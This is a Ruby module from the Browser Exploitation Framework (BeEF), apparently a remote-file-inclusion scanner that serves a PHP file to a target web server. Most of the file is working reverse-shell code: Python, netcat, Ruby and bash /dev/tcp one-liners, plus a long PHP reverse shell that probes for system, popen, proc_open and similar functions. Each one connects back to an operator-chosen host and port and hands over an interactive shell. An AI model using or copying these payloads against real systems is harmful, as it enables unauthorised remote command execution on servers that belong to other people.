#
# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Rfi_scanner < BeEF::Core::Command

	def pre_send
		lhost = '127.0.0.1'
		lport = 4444
		payload = 'reverse_php'
		@datastore.each do |input|
			if input['name'] == 'lhost'
				lhost = input['value']
			elsif input['name'] == 'lport'
				lport = input['value']
			end
		end
		@datastore.each do |input|
			if input['name'] == 'payload'
				case input['value']
				when "reverse_python" # msfvenom -p cmd/unix/reverse_python LHOST=X.X.X.X LPORT=XXXX
					cmd = Base64.strict_encode64("import socket,subprocess,os;host='#{lhost}';port=#{lport};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);")
					payload = "`python -c \"exec ('#{cmd}'.decode ('base64') )\"`"
				when "reverse_netcat"
					payload = "`nc #{lhost} #{lport} -e /bin/sh`"
				when "reverse_ruby" # msfvenom -p cmd/unix/reverse_ruby LHOST=X.X.X.X LPORT=XXXX
					payload = "`ruby -rsocket -e \"exit if fork;c=TCPSocket.new('#{lhost}','#{lport}');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end\"`"
				when "reverse_bash"
					payload = "`bash -c \"/bin/bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1\"`"
				else # "reverse_php" # msfvenom -p php/reverse_php LHOST=X.X.X.X LPORT=XXXX
					payload = <<-EOS
    $ipaddr='#{lhost}';
    $port=#{lport};

      @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
      $dis=@ini_get('disable_functions');
      if(!empty($dis)){
        $dis=preg_replace('/[, ]+/', ',', $dis);
        $dis=explode(',', $dis);
        $dis=array_map('trim', $dis);
      }else{
        $dis=array();
      }
      

    if(!function_exists('zBoGL')){
      function zBoGL($c){
        global $dis;
        
      if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\\n";
      }
      $eclnc='is_callable';
      $wGGmd='in_array';
      
      if($eclnc('system')and!$wGGmd('system',$dis)){
        ob_start();
        system($c);
        $o=ob_get_contents();
        ob_end_clean();
      }else
      if($eclnc('popen')and!$wGGmd('popen',$dis)){
        $fp=popen($c,'r');
        $o=NULL;
        if(is_resource($fp)){
          while(!feof($fp)){
            $o.=fread($fp,1024);
          }
        }
        @pclose($fp);
      }else
      if($eclnc('passthru')and!$wGGmd('passthru',$dis)){
        ob_start();
        passthru($c);
        $o=ob_get_contents();
        ob_end_clean();
      }else
      if($eclnc('proc_open')and!$wGGmd('proc_open',$dis)){
        $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
        $o=NULL;
        while(!feof($pipes[1])){
          $o.=fread($pipes[1],1024);
        }
        @proc_close($handle);
      }else
      if($eclnc('exec')and!$wGGmd('exec',$dis)){
        $o=array();
        exec($c,$o);
        $o=join(chr(10),$o).chr(10);
      }else
      if($eclnc('shell_exec')and!$wGGmd('shell_exec',$dis)){
        $o=shell_exec($c);
      }else
      {
        $o=0;
      }
    
        return $o;
      }
    }
    $nofuncs='no exec functions';
    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
      $s=@fsockopen("tcp://#{lhost}",$port);
      while($c=fread($s,2048)){
        $out = '';
        if(substr($c,0,3) == 'cd '){
          chdir(substr($c,3,-1));
        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
          break;
        }else{
          $out=zBoGL(substr($c,0,-1));
          if($out===false){
            fwrite($s,$nofuncs);
            break;
          }
        }
        fwrite($s,$out);
      }
      fclose($s);
    }else{
      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
      @socket_connect($s,$ipaddr,$port);
      @socket_write($s,"socket_create");
      while($c=@socket_read($s,2048)){
        $out = '';
        if(substr($c,0,3) == 'cd '){
          chdir(substr($c,3,-1));
        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
          break;
        }else{
          $out=zBoGL(substr($c,0,-1));
          if($out===false){
            @socket_write($s,$nofuncs);
            break;
          }
        }
        @socket_write($s,$out,strlen($out));
      }
      @socket_close($s);
    }
EOS

				end
			end
		end
		BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/plain'}, "<?php #{payload} ?>", "/rfi_php_#{@command_id}.txt", -1)
	end
  
	def self.options
		configuration = BeEF::Core::Configuration.instance
                lhost = configuration.get("beef.http.public") || configuration.get("beef.http.host")
                lhost = "" if lhost == "0.0.0.0"
		return [
			{ 'name' => 'rproto',
				'type' => 'combobox',
				'ui_label' => 'Target Protocol',
				'store_type' => 'arraystore',
				'store_fields' => ['rproto'],
				'store_data' => [
					['http'],
					['https']
				],
				'emptyText' => 'Select a protocol (HTTP/HTTPS)',
				'valueField' => 'rproto',
				'displayField' => 'rproto',
				'mode' => 'local',
				'autoWidth' => true
			},
			{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' }, 
			{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
			{ 'name' => 'base_dir', 'ui_label' => 'Base Directory', 'value' => '/' },
			{ 'name' => 'payload',
				'type' => 'combobox',
				'ui_label' => 'Payload',
				'store_type' => 'arraystore',
				'store_fields' => ['payload'],
				'store_data' => [ ['reverse_bash'], ['reverse_netcat'], ['reverse_ruby'], ['reverse_python'], ['reverse_php'] ],
				'emptyText' => 'Select a payload',
				'valueField' => 'payload',
				'displayField' => 'payload',
				'mode' => 'local',
				'forceSelection' => 'false',
				'autoWidth' => true
			},
			{ 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },
			{ 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' },
			{ 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width'=>'100px' }
		]
	end

	def post_execute
		save({'result' => @datastore['result']})
		#BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind("/rfi_php_#{@command_id}.txt")
	end

end
